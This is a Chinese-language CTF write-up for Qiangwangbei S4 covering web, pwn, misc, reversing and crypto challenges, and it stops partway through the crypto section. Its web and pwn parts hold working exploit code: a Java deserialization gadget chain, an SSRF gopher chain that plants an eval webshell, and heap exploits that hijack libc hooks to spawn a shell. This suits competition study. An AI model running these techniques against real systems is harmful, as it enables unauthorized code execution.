本次强网杯比赛我们 SU 取得了线上赛 12th 的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com
以下是我们 SU 本次 强网杯 S4 的 writeup
Web
easy_java
绕一下过滤就行
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.bag.AbstractMapBag;
import org.apache.commons.collections.bag.HashBag;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.IdentityHashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"forName", new Class[]{String.class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{"java.lang.Runtime"}}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"bash", "-c", ""}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
IdentityHashMap identityHashMap = new IdentityHashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(identityHashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
HashBag hashMap = new HashBag();
hashMap.add(tiedMapEntry, 1);
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
identityHashMap.clear();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
dice2cry
http://106.14.66.189/abi.php.bak 得到源码
<?php
session_start();
header("Content-type:text/html;charset=utf-8");
$data = json_decode($json_string, true);
$rand_number = isset($_POST['this_is.able']) ? $_POST['this_is.able'] : mt_rand();
$n = gmp_init($data['n']);
$d = gmp_init($data['d']);
$c = gmp_init($rand_number);
$m = gmp_powm($c,$d,$n);
$v3 = gmp_init('3');
$r = gmp_mod($m,$v3);
$result=(int)gmp_strval($r);
$dice = array("num"=>$result);
$json_obj = json_encode($dice);
echo $json_obj;
?>
可以看到 https://github.com/php/php-src/commit/fc4d462e947828fdbeac6020ac8f34704a218834
这次 commit 修了一个bug,我们可以用[绕过 php 对点的转换。web 部分结束
密码学部分:RSA LSB Oracle,不过是mod 3的。把区间改一改就行了
import requests
import json
from Crypto.Util.number import long_to_bytes
cookies = {
"PHPSESSID": "4fp96q7ik9osjbvuaignpiv70o",
"encrypto_flag": "3869312711921718181496939729558807189471208864005174371688083330158692727951530885631463620813499380620505887128241566855245089238486494716206458945983582420081939159954313437949593882767853854572863428430644724509166235841551934917025078319846503154318123173991091238707586128668756962224602429656368938289",
"public_n": "8f5dc00ef09795a3efbac91d768f0bff31b47190a0792da3b0d7969b1672a6a6ea572c2791fa6d0da489f5a7d743233759e8039086bc3d1b28609f05960bd342d52bffb4ec22b533e1a75713f4952e9075a08286429f31e02dbc4a39e3332d2861fc7bb7acee95251df77c92bd293dac744eca3e6690a7d8aaf855e0807a1157",
"public_e": "010001",
}
e = 0x10001
c = int(cookies["encrypto_flag"])
n = int(cookies["public_n"], 16)
url = "http://106.14.66.189/abi.php"
def oracle(c):
data = {"this[is.able":f"{c}"}
response = requests.post(url, data, cookies=cookies)
return json.loads(response.content)["num"]
low, high = 0, n
C = c
t = pow(3, e, n)
while low < high - 1:
C = C*t % n
res = oracle(C)
interval = (high - low) // 3
if res == 0:
high = high - 2*interval
elif res == 2*n % 3:
low, high = low + interval, high - interval
elif res == n % 3:
low = low + 2*interval
print(res, low, high)
for diff in range(-500, 500):
if pow(low+diff, e, n) == c:
print(long_to_bytes(low + diff))
break

half_infiltration
http://39.98.131.124/
view-source:http://39.98.131.124/?x=a:2:{i:0;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:6:%22result%22;}i:1;O:4:%22User%22:3:{s:3:%22age%22;O:4:%22Pass%22:0:{}s:3:%22sex%22;s:4:%22read%22;s:3:%22num%22;s:4:%22this%22;}}
通过$this让 php 产生 fatal error 打破 obstart 得到源码
<?php
//经过扫描确认35000以下端口以及50000以上端口不存在任何内网服务,请继续渗透内网
$url = $_GET['we_have_done_ssrf_here_could_you_help_to_continue_it'] ?? false;
if(preg_match("/flag|var|apache|conf|proc|log/i" ,$url)){
die("");
}
if($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
}
?>
<?php
$header = <<<EOF
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 0
Connection: close
Cookie: PHPSESSID=20vmv3q3hgn1ti6497q4927gk0
Content-Type: application/x-www-form-urlencoded
EOF;
$data = "file=.1.txt&content=1";
$length = strlen($data);
$header = str_replace("Content-Length: 0", "Content-Length: $length", $header);
$a = str_replace("\n", "\r\n", $header);
$a .= $data;
$payload = "gopher://127.0.0.1:40000/_" . (urlencode($a));
$payload = str_replace("+", " ", $payload);
echo $payload;
$payload = urlencode($payload);
system("curl -vv http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=$payload");
content 貌似是对 <? php = 有关键字过滤,含有这些的就会被 404 ,猜测是用了file_put_contents,并且它支持 php 伪协议写文件,所以可以尝试用 base64 进行绕过
<?php
function get_payload($session, $filename, $content) {
$header = <<<EOF
POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 0
Connection: close
Cookie: PHPSESSID=$session
Content-Type: application/x-www-form-urlencoded
EOF;
$data = "file=" . urlencode($filename) . "&content=" . urlencode($content);
$length = strlen($data);
$header = str_replace("Content-Length: 0", "Content-Length: $length", $header);
$a = str_replace("\n", "\r\n", $header);
$a .= $data;
$payload = "gopher://127.0.0.1:40000/_" . (urlencode($a));
$payload = str_replace("+", " ", $payload);
$payload = urlencode($payload);
return $payload;
}
$content1 = <<<EOF
PD89IGV2YWwoJF9HRVRbY21kXSk7
EOF;
$payload = get_payload("test222", "php://filter/convert.base64-decode/resource=index.php", $content1);
file_get_contents("http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=$payload");
Pwn
qwblogin
先逆向过pow,前三个字节直接爆破出来QWQ。之后下断看到是断在了read 0x21的地方。 随便输点东西,跟着后面调试外加看ida的反编译加看官方文档大体可以看出来是将输入的东西分为4组,每组8字节,分别跟一些固定的数字xor,随后cmp对比。 逆向下来是这样的字符串
'G00DR3VR'+'W31LD0N3'+'Try2Pwn!'+'GOGOGOGO'
之后会再进入一个read流程,下断可以看出来是read 0 stack 0x800。stack为程序虚拟的栈空间。 跟c类似的是,这个存在栈溢出。所以最后类似这种形式 0x100*‘a’+p64(rbp)+p64(ret_addr) 再调用ret。很明显一个基于vm的栈溢出(指溢出vm的栈跳vm的code 然后回check这个偏移不大于0x1000,也就是跳不出code区,只能用程序原本就带的code来执行。我们写入不了opcode。 因为是类c的写法,所以找gadget也可以参考c的pop ret的方法。去搜索0x11(ret)。 人肉识别下来是有了syscall的所有调用//0x8 0x9 0xa 以及能控制所有的syscall所需要的参数。//a1[0] a1[1] a1[2] a1[3] 之后用程序自带的orw功能去搞就行。
from pwn import *
flag=chr(0x51)+chr(0x57)+chr(0x51)
i=0
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
#r=process('sh','./launch.sh')
#r=process(['./emulator','./test.bin'])
r=remote('47.94.20.173',32142)
r.recvuntil('password:')
r.send(flag)
#gd('b *$rebase(0x1272)')
r.sendline('G00DR3VR'+'W31LD0N3'+'Try2Pwn!'+'GOGOGOGO')
#gd()
syscall9=0x617
syscall=0x5b0+1
sy=0x6ed
p0r=0x2f5
p1r=0x377
p2r=0x45c
p3r=0x4e1
#gd('b read')p64(p0r)+p64(2)
payload='a'*0x108
payload+=p64(p0r)+p64(1)+p64(p1r)+p64(0)+p64(p2r)+p64(0x100)+p64(p3r)+p64(0x40)+p64(syscall)+p64(p0r)+p64(0)+p64(p1r)+p64(0x100)+p64(p2r)+p64(0)+p64(sy)+p64(p0r)+p64(1)+p64(p1r)+p64(4)+p64(p2r)+p64(0x200)+p64(p3r)+p64(0x100)+p64(syscall)+p64(p0r)+p64(2)+p64(p1r)+p64(1)+p64(p2r)+p64(0x1ff)+p64(p3r)+p64(0x100)+p64(syscall)
r.send(payload)
sleep(0.1)
r.send('./flag')
r.interactive()
direct
负数溢出,在edit的时候,offset可以为负数,这种情况下可以去修改chunk的size以及向上修改很长的区域。 但没有leak函数。打stdout因为没有任何跟io有关的操作也实现不了。 在readdir那边的操作时候,可以先readdir完随后通过修改size分配unsorted bin去写入libc地址,然后给下一个将被readdir给读取出来的字符串连起来。 最后一发入魂。
from pwn import*
def menu(ch):
r.sendlineafter('Your choice: ',str(ch))
def add(index,size):
menu(1)
r.sendlineafter('Index:',str(index))
r.sendlineafter('Size: ',str(size))
def edit(index,offset,size,content):
menu(2)
r.sendlineafter('Index: ',str(index))
r.sendlineafter('Offset: ',str(offset))
r.sendlineafter('Size: ',str(size))
r.sendafter('Content: ',content)
def free(index):
menu(3)
r.sendlineafter('Index: ',str(index))
def openfile():
menu(4)
def closefile():
menu(5)
def gd(cmd=''):
gdb.attach(r,cmd)
pause()
#r = process('./direct')
r=remote('106.14.214.3',1912)
libc =ELF('./libc-2.27.so')
add(0,0x50)
openfile()
closefile()
add(1,0x100)
add(2,0x90)
add(3,0x90)
add(4,0x90)
edit(0,-0x10,0x10,p64(0)+p64(0x80a1))
free(0)
add(0,0xe0)
edit(1,-0x7fe8,0x50,'a'*0x37+'b')
closefile()
r.recvuntil('aaaab')
leak=u64(r.recv(6).ljust(8,'\x00'))
print hex(leak)
lbase=leak-96-0x10-libc.symbols['__malloc_hook']
free(2)
free(3)
#gd()
edit(4,-0xa0,0x10,p64(lbase+libc.symbols['__free_hook']))
edit(4,0,0x10,'/bin/sh')
add(5,0x90)
add(6,0x90)
edit(6,0,0x10,p64(lbase+libc.symbols['system']))
r.interactive()
easypwn
首先一个off by null 可以构造一个堆块重叠,然后爆破半个字节并利用unsorted bin attack 攻击 global_max_fast,之后则是一个 free对应大小的块 越界后覆盖stdout的read_end 和 write_ptr指针,并令覆盖的内容相同 即可 leak libc_base,之后则是一个攻击 malloc_hook写入rce的ez操作
from pwn import*
#context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def new(size):
menu(1)
p.sendlineafter('size:',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('idx:',str(index))
p.sendafter('content:', content)
def free(index):
menu(3)
p.sendlineafter('idx:',str(index))
def F(index):
sleep(0.05)
p.sendline('3')
sleep(0.05)
p.sendline(str(index))
def E(index,content):
sleep(0.05)
p.sendline('2')
sleep(0.05)
p.sendline(str(index))
sleep(0.05)
p.send(content)
while True:
p = process('./main')
libc =ELF('./libc-2.23.so')
# p = remote('39.101.184.181',10000)
try:
new(0x18) #0
new(0x2F8) #1
new(0x2F8) #2
new(0x380) #3
new(0x380) #4
new(0x380) #5
new(0x380) #6
new(0x380) #7
edit(7,(p64(0) + p64(0x21))*0x38)
new(0x18) #8
free(0)
edit(1,'\x00'*0x2F0 + p64(0x320))
free(2)
####################
new(0x18) #0
new(0x78) #2
new(0x78) #9
new(0xF8) #10
new(0x88) #11
new(0x68) #12
new(0x2F8) #13
free(2)
edit(9,'\x00'*0x70 + p64(0x100))
free(10)
new(0x78) #2
new(0x78) #10 = 9
new(0xF8) #14
free(2)
edit(1,p64(0) + '\xE8\x37\n')
new(0x70)
edit(1,'\x00'*0x78 + p64(0x1631) + '\n')
free(9)
E(1,'\x00'*0x78 + p64(0x1651) + '\n')
F(10)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 131 - libc.sym['_IO_2_1_stdout_']
log.info('LIBC:\t' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
rce = libc_base + 0xF0364
free(12)
edit(1,'\x00'*0x288 + p64(0x71) + p64(malloc_hook - 0x23) + '\n')
new(0x60) #9
new(0x60) #10
edit(10,'\x00'*0x13 + p64(rce) + '\n')
new(0x10)
break
except:
p.close()
continue
p.interactive()
oldschool
审计一下给的源文件即可知道,在mmap_edit中因为 < 和 > 符号搞错了,导致越界,往一个地址写入一个64位长的整型变量,此时只需要leak libc,然后计算出此偏移,因为mmap_edit时的指针类型为int类型,所以 需要之前 offset»2 才是正确的offset,之后就是往free_hook写入一个system,free(’/bin/sh’)即可getshell
from pwn import*
context.log_level ='DEBUG'
def menu(ch):
p.sendlineafter('Your choice:',str(ch))
def new(index,size):
menu(1)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Size: ',str(size))
def edit(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def show(index):
menu(3)
p.sendlineafter('Index: ',str(index))
def free(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def m_new(index):
menu(6)
p.sendlineafter('start: ',str(index))
def m_edit(index,value):
menu(7)
p.sendlineafter('Index: ',str(index))
p.sendlineafter('Value: ',str(value))
def m_free():
menu(8)
p = process('./main')
libc =ELF('./libc-2.27.so')
p = remote('106.14.214.3',2333)
for i in range(8):
new(i,0x100)
for i in range(8):
free(7 - i)
for i in range(7):
new(i + 1,0x100)
show(1)
p.recvuntil('Content: ')
heap_base = u32(p.recv(4)) - 0x380
log.info('HEAP:\t' + hex(heap_base))
new(0,0x78)
new(8,0x78)
edit(1,'/bin/sh\n')
show(0)
libc_base = u32(p.recvuntil('\xF7')[-4:]) - libc.sym['__malloc_hook'] - 0xD8
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info('LIBC:\t' + hex(libc_base))
rce = libc_base + 0x3D130
m_new(0)
address = ((free_hook - 0xE0000000)>>2)
m_edit(address,system)
free(1)
p.interactive()
Misc
miscstudy

找到一个访问 http://39.99.247.28/fonts/1 的流量

得到flag{level1_begin_and_level2_is_come
还从中得到了私钥信息,将其导入Wireshark可以解密后续的部分TLS流量。
继续往后翻stream,可以发现一个图片:

访问 https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png 下载图片
在末尾能看到一串类似base64编码的字符串:

解码得到level3_start_it

在文件末尾的上面,也能发现3串base64编码后的字符串,对其分别解码后得到一串长度为3600的01字符串,按照每60个一行,可以得到一个二维码:
from PIL import Image
x = 60
y = 60
black = (0,0,0)
white = (255, 255, 255)
data = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111110000000100110000100000000011100001111111111100001111111111110000000110111000100000000011100001111111111100001100000000110010011111110010000000001100111001000000000100001100000000110010000110110010000000000001111001000000000100001100111100110010000100110010011100000011101001001111100100001100111100110000100000001110011111110010000001001111100100001100111100110000000000001110011110110010000001001111100100001100111100110011100100111111111100110011100000001111100100001100000000110011000000000111100110110110000001000000000100001100000000110010011000000011100011111110011001000000000100001111111111110010011001001001100110110010011001111111111100001111111111110010011001001100000100110010011001111111111100000000000000000010011111110010011000111000100000000000000000000000000000000010001111100010011000011101100000000000000000001110011000111100000001000000011000001111111001111000111000000110000000000000000001000000011000000000011001000000000000000010000001000011100001000000111100110000011000000010000000001110011001111110000000000000010001001110011111000010011000001110011001111110000000000000011001001110011111000010011000001100111000000011111000000010000100000100100111000000100100000001100000000111011000000111000100001100000111000000000000000011100000111110011000001111111100001100011111110010000000000000111001001100000000001100000111001110011111001000100100000000111001001000000000001000000111001110011111001100100100000011100000110011111111000000011100001111111000001110011100000011000000010011111110000000011100001111111000000110001100000000000100000010000000000000011000001110011001000000100100000000000000000110000000000000000000001110011011100000000000000010001001111110000100000000100000011111111101111100000000000011000000001110000000111111100110000001100000000010000000000011100000001110000000111111100111000000100000000010000000001110000100111111111111000000011100111000011000001100000000001111000110001001100111000000011000011100011000000000000000001111100111001100100101111111111001111100001001110011111100001100000111110000100000000010000000111100011000000011100100001000000111110000100000000010000000111000011000000011100100000011011100000011100000000000000001110000011111000001100100000111111100000011000000000000000011100000001101000000100100001111100000110010000100000000011111000010000000001100010000000111100000000010000110000000000000000110000000001100000000000011100100000010011111000011100000001110000000111000100000001100111000111110011111001111111100001010011111111100011000001000111000111110011111001111111100001110011011111100011000000000000000000010011001001110000001110001111000001100000100000000000000000010011000001100000000110000011000001100000100001111111111110010011000111000110000111100011001001100111100001100000000110000111100000011111111001110001000001100111000001100000000110000111100000011111111001110011000001100111000001100111100110000100001000000100001001110011111111100000000001100111100110000100001000001100001001100001111111000000000001100111100110010011000111111111000111110000111000011011100001100111100110000011000110000000000000110000000000011011100001100111100110000011111110000000100001110011000000000011100001100000000110011100100111000011001111100011111111111100000001100000000110011100100111000011001111100011111111111100000001011111111010010011111110011111001001110011111100000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
img = Image.new("RGB", (x,y))
for i in range(0, x):
for j in range(0, y):
if data[i+j*60] == "0":
img.putpixel((i,j), white)
else:
img.putpixel((i,j), black)
img.show()

扫描得到 链接:https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug 提取码:1lms
下载得到level4.zip

stegbreak,密码power123
JPHS提取得到
https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw
mrpt
level4_here_all

level5_is_aaa
level6.zip中有3个txt文件,crc爆破得到level6_isready
level7.zip明文碰撞1.png,再水印隐写可以得到level7ishere和39.99.247.28/final_level/
源码里看到

Snow隐写 解密得到the_misc_examaaaaaaa_!!!}
flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}
Rev
xx_warmup_obf
ELF逆向,里面全是混淆,使用pin改了一个插件出来,可以用来统计运行过的指令地址,编写idapython,将未运行的指令patch成nop,可以看到程序多了很多函数,大概流程就是:输入,判断长度28,然后进入到一个解方程的地方,解方程即可
# -*- coding: UTF-8 -*-
from z3 import *
s = Solver()
key = [BitVec('%d'%i,8) for i in range(28)]
s.add(key[0] == ord('f'))
s.add(key[1] == ord('l'))
s.add(key[2] == ord('a'))
s.add(key[3] == ord('g'))
s.add(key[4] == ord('{'))
s.add(key[27] == ord('}'))
s.add(key[23] == ord('_'))
s.add(23925 * key[0] == 2440350)
s.add(281400 * key[1] - 7037 * key[0] == 29673426)
s.add(174826 * key[0] - 255300 * key[2] - 283573 * key[1] == -37557732)
s.add( 259881 * key[2] + -98445 * key[1] - 276718 * key[0] + 4524 * key[3] == -13182867 )
s.add( 285576 * key[2] + -274569 * key[3] + 94721 * key[0] - 228216 * key[4] - 60353 * key[1] == -25506885 )
s.add( 17630 * key[0]+ -258397 * key[3]+ -244952 * key[1]+ -244086 * key[2]+ -130259 * key[5]- 190371 * key[6]- 109961 * key[4] == -111027477 )
s.add( 117817 * key[5] + 268397 * key[7] + -198175 * key[1] + 18513 * key[2] + 218992 * key[6] + -6727 * key[3] + 228408 * key[0] + 224658 * key[4] == 78775012 )
s.add(260927 * key[3]+ -5496 * key[1]+ -294195 * key[4]+ 264844 * key[2]+ 125853 * key[5] - 153661 * key[0] == 13075233 )
s.add( -196269 * key[8] + -64473 * key[7] + -142792 * key[5] + 171321 * key[4] + -39259 * key[9] + -269632 * key[2] + 229049 * key[6] + 96631 * key[3] - 280754 * key[1] - 168397 * key[0] == -70797046 )
s.add( -235026 * key[4] + 162669 * key[8] + -256202 * key[1] + -32946 * key[9] + -25900 * key[2] + 195039 * key[10] + 182157 * key[3] + 292706 * key[0] + -93524 * key[5] + 121516 * key[6] + 165207 * key[7] == 28263339 )
s.add( -288418 * key[3] + -218493 * key[7] + -236774 * key[0] + 77982 * key[2] + 190784 * key[4] + -84462 * key[1] + 92684 * key[8] + 52068 * key[5] - 243023 * key[6] == -52520267 )
s.add( -262820 * key[4] + 9710 * key[10] + 71182 * key[12] + -184125 * key[1] + -100280 * key[6] + 62018 * key[11] + 141532 * key[9] + -138253 * key[8] + 20489 * key[0] + -214348 * key[2] + 162962 * key[3] - 93199 * key[7] + 147171 * key[5] == -31396844 )
s.add( -131770 * key[6] + -92964 * key[9] + -111160 * key[8] + -258188 * key[7] + 133728 * key[1] + -272650 * key[5] + -4940 * key[10] + 272791 * key[3] + 80519 * key[2] + -165434 * key[11] + 50166 * key[0] + 148713 * key[4] == -22025185 )
s.add(-55254 * key[8]+ 220404 * key[12]+ -86956 * key[10]+ -200702 * key[5]+ -51437 * key[1]+ 25739 * key[6]+ 122945 * key[3]+ 116256 * key[7]+ 22859 * key[4]+ -61880 * key[9]+ -119275 * key[2]+ -224754 * key[13]- 75412 * key[0]+ 59999 * key[11] == -37063008)
s.add(111310 * key[0]+ 198502 * key[3]+ -189890 * key[13]+ 278745 * key[5]+ 157462 * key[9]+ 135809 * key[4]+ -2621 * key[2]+ 67553 * key[6]+ 144834 * key[1]+ -88326 * key[11]+ -228149 * key[10]+ 233663 * key[14]+ -249960 * key[12]+ 300012 * key[8]+ 91783 * key[7] == 93457153)
s.add(15897 * key[0]+ -11943 * key[13]+ 194067 * key[3]+ 125666 * key[2]+ 104421 * key[12]+ -181764 * key[5]+ -233813 * key[8]+ -235783 * key[4]+ 230636 * key[11]+ 148005 * key[6]+ -48167 * key[14]+ -163572 * key[9]+ 54553 * key[10]+ -129997 * key[1]+ 114175 * key[7]- 251681 * key[15] == -36640750)
s.add( -90549 * key[3]+ -228520 * key[14]+ 34835 * key[10]+ -203538 * key[15]+ 272318 * key[13]+ -68478 * key[8]+ 22454 * key[9]+ 74128 * key[12]+ 70051 * key[6]+ -289940 * key[7]+ -52501 * key[5]+ -1254 * key[4]+ 154844 * key[11]+ 254969 * key[2]+ -39495 * key[1]+ 277429 * key[16]- 132752 * key[0] == -6628237 )
s.add( 128092 * key[11]+ -5873 * key[17]+ -144172 * key[3]+ -148216 * key[13]+ 189050 * key[2]+ 66107 * key[5]+ 237987 * key[0]+ -53271 * key[9]+ -86968 * key[12]+ -94616 * key[10]+ -247882 * key[8]+ -5107 * key[1]+ 55085 * key[15]+ 10792 * key[14]+ -112241 * key[4]+ -36680 * key[16]- 210718 * key[7]- 249539 * key[6] == -53084017 )
s.add( -186088 * key[2]+ 19517 * key[13]+ -65515 * key[5]+ 195447 * key[1]+ 145470 * key[14]+ 58825 * key[16]+ 272227 * key[15]+ -155443 * key[8]+ 100397 * key[3]+ -238861 * key[18]+ 84628 * key[7]+ 1337 * key[17]+ 156976 * key[12]+ -74209 * key[4]+ 175077 * key[11]+ 134548 * key[0]+ -280672 * key[6]+ 12264 * key[10] + 56937 * key[9] == 60764977 )
s.add( -58873 * key[7]+ -283834 * key[9]+ 159144 * key[13]+ -199631 * key[0]+ 54404 * key[16]+ -190345 * key[8]+ 176103 * key[3]+ 137206 * key[17]+ -170051 * key[6]+ 281718 * key[11]+ 137214 * key[14]+ -104395 * key[19]+ -122090 * key[4]+ 162065 * key[15]+ -36580 * key[18]+ 245858 * key[12]+ -18520 * key[10]+ -138274 * key[1]+ 139185 * key[2]- 197535 * key[5] == 4912728 )
s.add( 293345 * key[9]+ 63329 * key[13]+ 74470 * key[8]+ -72984 * key[11]+ -162393 * key[20]+ 150036 * key[15]+ 127913 * key[19]+ 181147 * key[16]+ 27751 * key[6]+ -239133 * key[1]+ -28337 * key[17]+ 108149 * key[0]+ 148338 * key[2]+ 38137 * key[18]+ -199427 * key[14]+ -97284 * key[4]+ -39775 * key[3]+ -109205 * key[10]+ 270604 * key[5]- 193384 * key[12]+ 168963 * key[7] == 45577809 )
s.add( 45637 * key[6]+ 111858 * key[17]+ 244009 * key[19]+ -188979 * key[8]+ -220539 * key[16]+ 246135 * key[2]+ -174651 * key[14]+ 179514 * key[4]+ 153071 * key[15]+ -207716 * key[21]+ 64641 * key[7]+ 293781 * key[12]+ 263208 * key[10]+ 44675 * key[1]+ 131692 * key[3]+ 109605 * key[11]+ 293201 * key[5]+ -98937 * key[9]+ 60492 * key[20]+ -273571 * key[13]- 38942 * key[0]- 285946 * key[18] == 77539017 )
s.add( -160726 * key[9]+ 234971 * key[18]+ 32897 * key[4]+ -206184 * key[11]+ -86224 * key[20]+ 92896 * key[22]+ 295735 * key[15]+ -58530 * key[0]+ -197632 * key[13]+ -21957 * key[17]+ -43684 * key[6]+ -141434 * key[10]+ -194890 * key[1]+ -148390 * key[21]+ 105293 * key[14]+ 76213 * key[3]+ 9791 * key[12]+ -258754 * key[8]+ 59119 * key[16]+ 255675 * key[2]+ -130852 * key[7]- 71444 * key[5]+ 127285 * key[19] == -38197685 )
s.add( 205675 * key[20]+ 197685 * key[1]+ 144870 * key[4]+ 120347 * key[10]+ 202621 * key[14]+ -236806 * key[17]+ 268813 * key[3]+ 191822 * key[23]+ -40848 * key[6]+ 103466 * key[7]+ -211930 * key[5]+ -180522 * key[19]+ -188959 * key[15]+ -238839 * key[21]+ 281705 * key[11]+ 175825 * key[16]+ -44618 * key[12]+ 196370 * key[0]+ 89330 * key[22]+ -133696 * key[8]+ -60213 * key[2]+ 191404 * key[18]- 291063 * key[9]+ 13902 * key[13] == 67763764 )
s.add( 69341 * key[15]+ -19740 * key[21]+ 62004 * key[10]+ 29334 * key[8]+ -78459 * key[1]+ -261617 * key[3]+ 115716 * key[22]+ 7838 * key[16]+ -173902 * key[14]+ 115189 * key[9]+ 234832 * key[7]+ -54321 * key[5]+ -268221 * key[20]+ -210563 * key[18]+ -161113 * key[13]+ -199130 * key[23]+ -94067 * key[24]+ 9601 * key[11]+ -8509 * key[12]+ 14439 * key[2]+ -243227 * key[19]+ 37665 * key[17]+ 91076 * key[6]- 85246 * key[0]+ 39558 * key[4] == -98330271 )
s.add( 38468 * key[19]+ -75568 * key[2]+ 169299 * key[22]+ -252915 * key[3]+ 32044 * key[24]+ -260264 * key[8]+ -111200 * key[1]+ -78437 * key[20]+ -212633 * key[16]+ 180400 * key[5]+ -81477 * key[12]+ 232645 * key[0]+ -65268 * key[4]+ 263000 * key[6]+ 247654 * key[25]+ -242059 * key[17]+ -35931 * key[9]+ -271816 * key[21]+ 10191 * key[13]+ 41768 * key[23]+ 92844 * key[7]+ -73366 * key[14]+ -124307 * key[10]+ 197710 * key[18]+ 226192 * key[15]+ 3788 * key[11] == -13464859 )
s.add( -23897 * key[9]+ -188087 * key[24]+ -254282 * key[15]+ -102361 * key[23]+ -15606 * key[14]+ -74795 * key[21]+ 116581 * key[12]+ 77693 * key[5]+ -6866 * key[25]+ 215574 * key[22]+ 231326 * key[6]+ 77915 * key[2]+ 186585 * key[3]+ 219151 * key[4]+ 271210 * key[13]+ -78913 * key[20]+ 83918 * key[8]+ -153409 * key[18]+ -84952 * key[7]+ -121854 * key[0]+ -253617 * key[26]+ -213665 * key[19]+ -293146 * key[17]+ -166693 * key[16]+ -206964 * key[1]- 155664 * key[10]+ 180598 * key[11] == -55504393 )
s.add( 264405 * key[11]+ 135302 * key[12]+ 278196 * key[9]+ -132906 * key[23]+ 138308 * key[7]+ 40423 * key[21]+ 157781 * key[0]+ -38949 * key[27]+ -143324 * key[14]+ -120743 * key[10]+ 77375 * key[5]+ -164339 * key[3]+ 167370 * key[25]+ -225830 * key[4]+ -136952 * key[2]+ -14347 * key[8]+ 6966 * key[26]+ 88628 * key[18]+ 138998 * key[22]+ 147747 * key[19]+ -106792 * key[6]+ -113009 * key[20]+ 98136 * key[15]+ 231264 * key[24]+ -109447 * key[17]+ 258890 * key[1]+ 167885 * key[16]+ 246315 * key[13] == 133068723 )
flag = ''
if s.check() == sat:
result = s.model()
print s.model()
for i in range(28):
flag += chr(result[key[i]].as_long().real)
print flag
print len('flag{g0_Fuck_xx_5egm3nt')
imitation_game
fork后子进程是一个CBC AES,正确后,父进程启动了一个chip8程序,这里的字节码进行过更改,打log后,分析,是一个
v0
+2
v1
+1
v2
+1
xor 1
*********
v3
+3
v4
+2
v5
xor 2
+1
***********
v6
*2
v7
+1
v8
xor 1
+1
*************
v9
+2
先对输入做上面的操作 然后进入27a这个乘法 俩个参数,一个输入一个乘法系数 1 2 1 2 1 1 1 2 2 系输如上,三组循环,解方程即可
# -*- coding: UTF-8 -*-
from z3 import *
s = Solver()
key = [BitVec('%d'%i,8) for i in range(3)]
s.add(key[0]+2*key[1]+key[2] == 0x37)
s.add(2*key[0]+key[1]+key[2] == 0x37)
s.add(key[0]+2*key[1]+2*key[2] == 0x3b)
flag = ''
if s.check() == sat:
print s.model()
aaa = [10,2,13,14,15,1,2,12,1,3]
flag = 'flag{6c8f1d78770fe672122478c6f9a150e6'
for i in range(len(aaa)):
flag += str(hex(aaa[i]).replace('0x',''))
flag += '}'
print flag
算出来是a2def12c13
Crypto
fault
differential fault attack SM4
找paper:
Min WANG,Zhen WU,Jin-tao RAO,Hang LING. Round reduction-based fault attack on SM4 algorithm[J]. Journal on Communications, 2016, 37(Z1): 98-103.
这篇不太行,直接把最后的几轮给扔了,不太realistic;不过从中学到了SM4的构造,以及SM4的DFA相关研究
找到了https://eprint.iacr.org/2010/063.pdf
